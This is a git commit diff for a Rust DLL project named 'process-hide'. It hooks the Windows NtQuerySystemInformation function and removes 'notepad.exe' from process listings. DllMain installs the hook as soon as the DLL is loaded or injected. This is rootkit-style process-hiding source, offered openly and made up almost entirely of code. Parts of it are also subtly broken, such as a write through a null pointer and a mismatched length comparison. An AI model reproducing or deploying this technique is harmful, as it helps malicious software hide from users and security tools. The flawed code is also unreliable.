rework process-hide

This commit is contained in:
uru
2021-03-15 22:27:16 +09:00
parent 806ea6f5bb
commit 5e328f0ca6
3 changed files with 104 additions and 89 deletions
+7 -3
View File
@@ -8,7 +8,11 @@ edition = "2018"
[dependencies]
anyhow = "1.0.38"
detour = "0.7.1"
minhook-sys = "0.1.1"
ntapi = "0.3.6"
winapi = { version = "0.3.9", features = ["libloaderapi", "minwindef"] }
winapi = { version = "0.3.9", features = ["libloaderapi", "minwindef", "winuser"] }
detour = "0.7.1"
[lib]
name = "hook_cat"
path = "src/lib.rs"
crate-type = ["dylib"]
+97 -76
View File
@@ -1,96 +1,117 @@
use anyhow::*;
use minhook_sys::*;
use detour::static_detour;
use ntapi::ntexapi::{ NtQuerySystemInformation, SYSTEM_PROCESS_INFORMATION };
use winapi::{
shared::{
minwindef::{ FARPROC },
ntdef::{ HANDLE, LARGE_INTEGER, NTSTATUS, PULONG, PVOID, ULONG, UNICODE_STRING }
},
um::libloaderapi::{ GetModuleHandleA, GetProcAddress }
um::{
libloaderapi::{ GetModuleHandleA, GetProcAddress },
memoryapi::{ VirtualAlloc, VirtualFree },
winnt::{ MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE },
winuser::{ MessageBoxW, MB_OK },
}
};
use std::{ffi::CString, mem::{size_of, size_of_val}, ptr::null_mut};
use std::mem::zeroed;
type SYSTEM_INFORMATION_CLASS = u32;
struct SYSTEM_PROCESS_INFO {
NextEntryOffset: ULONG,
NumberOfThreads: ULONG,
Reserved: [LARGE_INTEGER; 3],
CreateTime: LARGE_INTEGER,
UserTime: LARGE_INTEGER,
KernelTime: LARGE_INTEGER,
ImageName: UNICODE_STRING,
BasePriority: ULONG,
ProcessId: HANDLE,
InheritedFromProcessId: HANDLE
}
unsafe fn detour_NtQuerySystemInformation(SystemInformationClass: SYSTEM_INFORMATION_CLASS, SystemInformation: PVOID, SystemInformationLength: ULONG, ReturnLength: PULONG) -> NTSTATUS {
let p_current = zeroed::<SYSTEM_PROCESS_INFORMATION>();
let p_next = zeroed::<SYSTEM_PROCESS_INFORMATION>();
let status = NtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
println!("debug");
if SystemInformationClass == 0x39 {
let processes = std::slice::from_raw_parts::<SYSTEM_PROCESS_INFORMATION>(SystemInformation as *mut _, ((SystemInformationLength / std::mem::size_of::<SYSTEM_PROCESS_INFORMATION>() as u32)) as usize);
for process in processes {
println!("process: {}", 1);
}
};
status
}
pub fn hook_init() -> Result<()> {
match unsafe { MH_Initialize() } {
MH_OK => {
println!("done hook init.");
Ok(())
},
_ => { bail!("error on hook init process.") }
}
}
pub fn set_hook() -> Result<()> {
let module = CString::new::<String>("ntdll.dll".into()).expect("CString::new failed");
let api = CString::new::<String>("NtQuerySystemInformation".into()).expect("CString::new failed");
let hook_fn: FARPROC = detour_NtQuerySystemInformation as unsafe fn(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG) -> NTSTATUS as _;
let mut p_ntquery = unsafe { GetProcAddress(GetModuleHandleA(module.as_ptr() as *const _), api.as_ptr() as *const _) } ;
let pp_ntquery: *mut FARPROC = &mut p_ntquery as _;
let status = unsafe { MH_CreateHookApi(e("ntdll.dll").as_ptr(), api.as_ptr(), hook_fn as _,pp_ntquery as _) };
match status {
MH_OK => { },
_ => { bail!("could not craete hook. error code: {}", status) }
};
let status = unsafe { MH_EnableHook(hook_fn as _) };
match status {
MH_OK => { },
_ => { bail!("could not enable the hook. error code: {}", status) }
};
// unsafe { test_call() };
Ok(())
}
fn e(source: &str) -> Vec<u16> {
source.encode_utf16().chain(Some(0)).collect()
}
unsafe fn test_call() {
let sys_class = zeroed::<SYSTEM_INFORMATION_CLASS>();
let mut buffer = zeroed::<[u8; 0xFF0000]>();
let mut buffer = VirtualAlloc(null_mut(),1024 * 1024,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);
let status = NtQuerySystemInformation(sys_class, &mut buffer as *const _ as *mut _, 0x10000 as u32, std::ptr::null_mut()) as i64;
let _ = NtQuerySystemInformation(0x5, buffer, 1024 * 1024, std::ptr::null_mut());
}
println!("call result: {}", status);
use std::{iter, mem};
use winapi::um::winnt::{ DLL_PROCESS_ATTACH, LPCWSTR };
use winapi::um::libloaderapi::{GetModuleHandleW};
static_detour! {
static NtQuerySystemInformationHook: unsafe extern "system" fn(u32, PVOID, ULONG, PULONG) -> NTSTATUS;
}
type FnNtQuerySystemInformation = unsafe extern "system" fn(u32, PVOID, ULONG, PULONG) -> NTSTATUS;
pub unsafe fn ntquery_hook() -> Result<()> {
let target = get_module_function::<FnNtQuerySystemInformation>("ntdll.dll", "NtQuerySystemInformation")?;
NtQuerySystemInformationHook.initialize(target, detour_NtQuerySystemInformation)?.enable()?;
Ok(())
}
fn detour_NtQuerySystemInformation(sys_info_class: u32, sys_info: PVOID, sys_info_length: ULONG, return_length: PULONG) -> NTSTATUS {
let status = unsafe { NtQuerySystemInformation(sys_info_class, sys_info, sys_info_length, return_length) };
if sys_info_class == 0x5 {
let p_current: *mut SYSTEM_PROCESS_INFORMATION = null_mut();
let mut p_next = unsafe { std::ptr::read::<SYSTEM_PROCESS_INFORMATION>(sys_info as _) };
unsafe {
loop {
*p_current = p_next;
if (*p_current).NextEntryOffset == 0x0 { break }
p_next = std::ptr::read::<SYSTEM_PROCESS_INFORMATION>((sys_info as usize + p_next.NextEntryOffset as usize) as *const _);
let image_name = std::slice::from_raw_parts(p_next.ImageName.Buffer, p_next.ImageName.Length as usize);
let detect_image_name = e("notepad.exe");
if image_name == detect_image_name {
if p_next.NextEntryOffset == 0x0 {
(*p_current).NextEntryOffset = 0x0;
}
else {
(*p_current).NextEntryOffset = (*p_current).NextEntryOffset + p_next.NextEntryOffset;
}
p_next = *(p_current);
}
}
}
}
status
}
fn get_module_function<T>(module: &str, symbol: &str) -> Result<T> {
let func_address = get_module_symbol_address(module, symbol);
if func_address.is_none() { bail!("could not find function. module_name: {}, symbol_name: {}", module, symbol) }
Ok(unsafe{ mem::transmute_copy::<usize, T>(&func_address.unwrap()) } as T)
}
fn get_module_symbol_address(module: &str, symbol: &str) -> Option<usize> {
let module = e(module);
let symbol = CString::new(symbol).unwrap();
unsafe {
let handle = GetModuleHandleW(module.as_ptr());
match GetProcAddress(handle, symbol.as_ptr()) as usize {
0 => None,
n => Some(n),
}
}
}
use winapi::shared::minwindef::{BOOL, DWORD, HINSTANCE, LPVOID, TRUE,};
#[no_mangle]
#[allow(non_snake_case)]
pub unsafe extern "system" fn DllMain(
_module: HINSTANCE,
call_reason: DWORD,
_reserved: LPVOID,
) -> BOOL {
if call_reason == DLL_PROCESS_ATTACH {
// A console may be useful for printing to 'stdout'
// winapi::um::consoleapi::AllocConsole();
// Preferably a thread should be created here instead, since as few
// operations as possible should be performed within `DllMain`.
ntquery_hook().is_ok() as BOOL
} else {
TRUE
}
}
-10
View File
@@ -1,10 +0,0 @@
extern crate process_hide;
use anyhow::*;
fn main() -> Result<()> {
process_hide::hook_init()?;
process_hide::set_hook()?;
std::thread::sleep(std::time::Duration::from_millis(30000000));
Ok(())
}